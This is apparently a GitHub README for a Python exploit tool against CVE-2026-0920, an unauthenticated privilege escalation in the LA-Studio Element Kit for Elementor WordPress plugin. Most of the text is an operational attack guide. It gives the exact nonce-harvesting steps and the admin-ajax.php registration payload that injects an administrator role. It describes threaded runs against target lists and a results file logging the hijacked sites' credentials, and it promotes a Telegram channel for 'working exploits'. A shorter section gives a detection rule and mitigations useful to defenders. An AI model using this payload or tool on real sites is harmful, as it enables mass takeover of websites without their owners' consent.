# CVE-2026-0920- LA-Studio Element Kit for Elementor <= 1.5.6.3 - Unauthenticated Privilege Escalation via Backdoor to Administrative User Creation via lakit_bkrole parameter
``` _____ _____ ___ __ ___ __ __ ___ ___ __ / __\ \ / / __|_|_ ) \_ )/ / ___ / \/ _ \_ ) \ | (__ \ V /| _|___/ / () / // _ \___| () \_, // / () | \___| \_/ |___| /___\__/___\___/ \__/ /_//___\__/ ```
[![Telegram](https://img.shields.io/badge/Telegram-KNxploited-2CA5E0?style=for-the-badge&logo=telegram&logoColor=white)](https://t.me/KNxploited) [![CVE](https://img.shields.io/badge/CVE-2026--0920-critical?style=for-the-badge&logo=cve&logoColor=white&color=CC0000)](https://www.cve.org/CVERecord?id=CVE-2026-0920) [![CVSS](https://img.shields.io/badge/CVSS-9.8%20CRITICAL-red?style=for-the-badge)](https://nvd.nist.gov/vuln/detail/CVE-2026-0920) [![Python](https://img.shields.io/badge/Python-3.8%2B-blue?style=for-the-badge&logo=python&logoColor=white)](https://python.org) [![License](https://img.shields.io/badge/License-Educational%20Only-yellow?style=for-the-badge)](#%EF%B8%8F-disclaimer)
> ๐Ÿ“ก **The exploit drops here first.** > Follow **[@KNxploited](https://t.me/KNxploited)** on Telegram โ€” your elite feed for freshly disclosed CVEs, working PoCs, and precision security research. Updated relentlessly. Built for those who stay ahead.
--- ## ๐Ÿง  Overview **CVE-2026-0920** is a **CVSS 9.8 Critical** vulnerability discovered in the **LA-Studio Element Kit for Elementor** WordPress plugin. The flaw resides in the `ajax_register_handle()` function, which processes unauthenticated user registrations via AJAX. The function fails to enforce any restriction on the `lakit_bkrole` parameter โ€” allowing a completely unauthenticated attacker to **self-assign the `administrator` role** during registration, achieving **full WordPress admin takeover** in a single request. | Field | Details | |------------------------|------------------------------------------------------| | **CVE ID** | CVE-2026-0920 | | **Plugin** | LA-Studio Element Kit for Elementor | | **Slug** | `lakit` / `la-studio-element-kit-for-elementor` | | **Affected Versions** | All versions up to and including **1.5.6.3** | | **Vulnerability Type** | Unauthenticated Privilege Escalation / Admin Creation| | **Attack Vector** | Network โ€” No Authentication Required | | **CVSS 3.1 Score** | **9.8 CRITICAL** | | **CVSS Vector** | `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` | | **CNA** | Wordfence | | **Impact** | Full WordPress Administrator Takeover | | **Researcher** | Nxploited | --- ## ๐Ÿ’€ Vulnerability Deep Dive The root cause is a missing role capability check inside the plugin's AJAX registration handler: ```php // Registered with no authentication requirement add_action('wp_ajax_nopriv_lakit_ajax', [$this, 'ajax_register_handle']); public function ajax_register_handle() { $actions = json_decode(stripslashes($_POST['actions']), true); foreach ($actions as $req) { if ($req['action'] === 'register') { $data = $req['data']; $user_data = [ 'user_login' => $data['username'], 'user_pass' => $data['password'], 'user_email' => $data['email'], 'role' => $data['lakit_bkrole'], // โ† ATTACKER CONTROLLED ]; // No validation of $data['lakit_bkrole'] against allowed roles wp_insert_user($user_data); // Administrator created silently } } } ``` **Why this is critical:** - `wp_ajax_nopriv_*` = accessible by **anyone with zero authentication** - `lakit_bkrole` accepts any WordPress role string โ€” including `administrator` - A single POST request creates a fully privileged admin account - The nonce required is publicly exposed in the site's front-end HTML/JS - No rate limiting, no CAPTCHA enforcement by default, no email verification required --- ## โš”๏ธ Exploit Chain ``` Step 1 โ€” Nonce Harvesting โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ GET / (or /index.php, /home, /?page_id=1) Search HTML/JS for: "ajaxNonce": "" โ† Inline JSON config ajaxNonce: '' โ† JS variable data-ajaxnonce="" โ† HTML attribute Nonce is publicly accessible โ€” no login required. โ†“ ajaxNonce extracted โœ”๏ธ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Step 2 โ€” Admin Account Registration โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ POST /wp-admin/admin-ajax.php action = lakit_ajax _nonce = actions = { "req1": { "action": "register", "data": { "email": "adminSA12@exploit.com", "password": "adminSA", "username": "Nx_admin", "lakit_field_log": "yes", โ† use supplied username "lakit_field_pwd": "yes", โ† use supplied password "lakit_field_cpwd": "no", โ† skip password confirm "lakit_bkrole": "1", โ† trigger admin role injection "lakit_recaptcha_response": "" } } } โ†“ Administrator account silently created โœ”๏ธ โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ Step 3 โ€” Full Admin Verification โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€ POST /wp-login.php log = Nx_admin pwd = adminSA โ†“ Session cookies obtained โ†’ GET /wp-admin/plugin-install.php โ†“ Plugin install page accessible = CONFIRMED FULL ADMIN โœ”๏ธ ``` --- ## โš™๏ธ Requirements ```bash pip install requests colorama ``` | Dependency | Purpose | |--------------|------------------------------------------------| | `requests` | HTTP requests, session handling, cookie management | | `colorama` | Colored terminal output on all platforms | | `threading` | Concurrent multi-target processing | | `re` | Regex-based nonce extraction from HTML/JS | > Python **3.10+** recommended (uses `str | None` union type hints). --- ## ๐Ÿ“‚ File Structure ``` CVE-2026-0920/ โ”œโ”€โ”€ CVE-2026-0920.py # Main exploit script โ”œโ”€โ”€ list.txt # Target URLs โ€” one per line โ”œโ”€โ”€ success_results.txt # Auto-generated: pwned targets + credentials ``` --- ## ๐Ÿš€ Usage ### Step 1 โ€” Configure Credentials *(Optional)* Open `CVE-2026-0920.py` and edit the constants at the top to set your desired admin account details: ```python ADMIN_EMAIL = "adminSA12@exploit.com" # Email for the new admin account ADMIN_PASSWORD = "adminSA" # Password for the new admin account ADMIN_USERNAME = "Nx_admin" # Username for the new admin account ``` --- ### Step 2 โ€” Prepare Targets Create `list.txt` with one target URL per line: ``` https://target1.com https://target2.com http://target3.com ``` > URLs without a scheme are automatically prefixed with `https://`. --- ### Step 3 โ€” Run the Exploit ```bash python CVE-2026-0920.py ``` You will be prompted: ``` Enter targets list filename (e.g. list.txt): list.txt Enter number of threads (1-50): 20 ``` --- ### Step 4 โ€” Monitor Live Output The script produces real-time, color-coded terminal output: ``` [14:22:01] [*] https://target.com - Starting target [14:22:02] [+] https://target.com - kay: a4f9c2b1e3 [14:22:02] [*] https://target.com - AJAX HTTP status: 200 [14:22:03] [+] https://target.com - AJAX response indicates success [14:22:04] [*] https://target.com - Full admin verification: OK ============================================================ [ SUCCESS BLOCK ] Site : https://target.com Result : SUCCESS AJAX OK : YES FULL ADMIN : YES (login + plugin install access) ============================================================ ``` | Color | Meaning | |-------------|--------------------------------------------------| | ๐Ÿ”ต Cyan `[*]` | Informational โ€” step in progress | | ๐ŸŸข Green `[+]`| Positive signal โ€” partial or full success | | ๐ŸŸก Yellow `[!]`| Warning โ€” ambiguous result, needs review | | ๐Ÿ”ด Red `[-]` | Failure โ€” target not exploitable or errored | --- ### Step 5 โ€” Review Results Successful exploits are written to `success_results.txt`: ``` https://victim.com | USERNAME:Nx_admin | EMAIL:adminSA12@exploit.com | PASSWORD:adminSA | LOGIN:FULL_ADMIN_OK | RESP_SUCCESS:YES | NONCE:a4f9c2b1e3 ``` Each line contains the full picture: target, credentials, login status, AJAX response status, and the nonce used. --- ## ๐Ÿ–ฅ๏ธ Script Parameters Reference | Parameter | Default | Description | |-------------------|----------------------------|----------------------------------------------| | Targets file | `list.txt` | File containing target URLs | | Threads | `10` (max: `50`) | Concurrent workers | | `ADMIN_EMAIL` | `adminSA12@exploit.com` | Email for injected admin account | | `ADMIN_PASSWORD` | `adminSA` | Password for injected admin account | | `ADMIN_USERNAME` | `Nx_admin` | Username for injected admin account | --- ## ๐Ÿ”ฌ Verification Logic The script performs **two-stage verification** to eliminate false positives: ``` Stage 1 โ€” AJAX Response Analysis Checks for success markers in the JSON response: โ€ข "created successfully" โ€ข "success":true โ€ข "type":"success" โ€ข "status":"success" Stage 2 โ€” Real Login + Plugin Install Access Test 1. POST /wp-login.php with injected credentials 2. GET /wp-admin/plugin-install.php 3. Confirm 200 response + plugin upload form present 4. Confirm no redirect back to wp-login.php Only BOTH stages passing = TRUE SUCCESS reported ``` This eliminates false positives caused by sites that return `200 OK` on AJAX but silently fail registration. --- ## ๐Ÿ“Š Detection Signature The exploit generates this specific network pattern โ€” for defenders and WAF authors: ``` POST /wp-admin/admin-ajax.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded action=lakit_ajax&_nonce=&actions={"req1":{"action":"register","data":{...,"lakit_bkrole":"1",...}}} ``` **WAF / IDS Rule (Pseudocode):** ``` IF request.method == POST AND request.path == "/wp-admin/admin-ajax.php" AND request.body CONTAINS "lakit_ajax" AND request.body CONTAINS "lakit_bkrole" THEN BLOCK + ALERT (Privilege Escalation Attempt โ€” CVE-2026-0920) ``` --- ## ๐Ÿ›ก๏ธ Mitigation & Remediation If you are a **site owner, developer, or defender**, act immediately: - โœ… **Update** LA-Studio Element Kit for Elementor to a version **above 1.5.6.3** - โœ… **Deactivate and delete** the plugin until a confirmed patched version is installed - โœ… **Audit** all WordPress administrator accounts โ€” remove any unrecognized entries immediately - โœ… **Enforce** server-side role validation โ€” never trust user-supplied role values without a whitelist check - โœ… **Block** unauthenticated POST requests to `admin-ajax.php` containing `lakit_bkrole` at the WAF level - โœ… **Monitor** server and WordPress activity logs for `lakit_ajax` AJAX action calls - โœ… **Enable** two-factor authentication on all existing admin accounts as a containment measure - โœ… **Review** the Wordfence advisory and apply all recommended hardening steps --- ## โš ๏ธ Disclaimer ``` THIS TOOL IS PROVIDED STRICTLY FOR EDUCATIONAL, AUTHORIZED PENETRATION TESTING, AND SECURITY RESEARCH PURPOSES ONLY. By downloading, executing, or modifying this script, you explicitly agree: โ€ข You hold EXPLICIT, WRITTEN authorization from the owner of every target system you test. No exceptions. No grey areas. โ€ข You are operating within a formally scoped, authorized penetration testing engagement or a controlled lab environment. โ€ข You will NOT use this tool against any system, network, or infrastructure without documented legal permission. โ€ข Nxploited and all contributors bear ZERO liability for unauthorized use, data loss, system damage, legal proceedings, or criminal prosecution arising from the use of this tool. Unauthorized use of this exploit constitutes a criminal offense under: โ€” Computer Fraud and Abuse Act (CFAA), USA โ€” Computer Misuse Act (CMA), UK โ€” EU Directive 2013/40/EU on Attacks Against Information Systems โ€” Saudi Arabia's Anti-Cyber Crime Law (No. M/17) โ€” And all equivalent national and international cybercrime legislation. USE RESPONSIBLY. HACK ETHICALLY. DISCLOSE RESPONSIBLY. ``` --- ## ๐Ÿ‘ค Author
| | | |---------------|-----------------------------------------------------------| | **Handle** | Nxploited | | **Telegram** | [@KNxploited](https://t.me/KNxploited) | | **GitHub** | [github.com/Nxploited](https://github.com/Nxploited) |
> ๐Ÿ”” **Follow [@KNxploited](https://t.me/KNxploited) on Telegram** > Fresh CVEs. Working exploits. Deep-dive vulnerability research. > First to know. First to act. Don't be last.
---
Engineered with precision by Nxploited ยท For authorized security research only ยท CVSS 9.8 Critical